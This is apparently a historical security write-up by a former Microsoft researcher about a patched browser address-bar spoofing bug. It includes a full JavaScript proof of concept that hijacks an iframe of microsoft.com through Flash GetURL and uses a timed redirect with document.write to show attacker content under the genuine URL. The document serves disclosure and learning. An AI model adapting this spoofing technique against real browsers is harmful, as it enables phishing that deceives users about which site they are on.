Address Bar Spoof via Redirect, iFrame Hijack, and document.write

This technique allowed spoofing the address bar of any website that had at least one iframe. By opening the target site in a new window, hijacking one of its iframes using Flash’s GetURL to point it to attacker-controlled content, and then simultaneously navigating the main window via a redirect and writing to the hijacked iframe, the address bar could be made to show one URL while displaying attacker-supplied content.

<script>
var win;
function main()
{
    win = window.open("http://www.microsoft.com", "SPOOFED_WINDOW");
    waitUntilIFramesExist();
}
function waitUntilIFramesExist()
{
    if (win.length > 0)
    {
        win[0].name = "HIJACKED_IFRAME";
        // Flash GetURL changes the iframe's URL to attacker content:
        document.all.flashContainer.innerHTML = '<object ...><param name="movie" value="geturl.swf?METHOD=get&TARGET=HIJACKED_IFRAME&REDIR=spoof.html" /></object>';
        setTimeout("changeWindowURL()", 3000);
    }
    else
    {
        setTimeout("waitUntilIFramesExist()", 1000);
    }
}
function changeWindowURL()
{
    try
    {
        win[0].document;
        window.open("redir.aspx","SPOOFED_WINDOW"); // Redirect the main window.
        win[0].document.write('<script>alert("Click OK to change the URL without refreshing the address bar")<\/script>');
    }
    catch (e)
    {
        waitUntilIFramesExist();
    }
}
</script>
<input type="button" onclick="main()" value="Open new window">

The critical moment was calling window.open("redir.aspx", "SPOOFED_WINDOW") to redirect the target window and immediately calling document.write on the hijacked iframe in the same turn of the event loop. The redirect changed the address bar URL while the document.write prevented the new content from actually loading, leaving the browser displaying attacker content under the spoofed URL.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.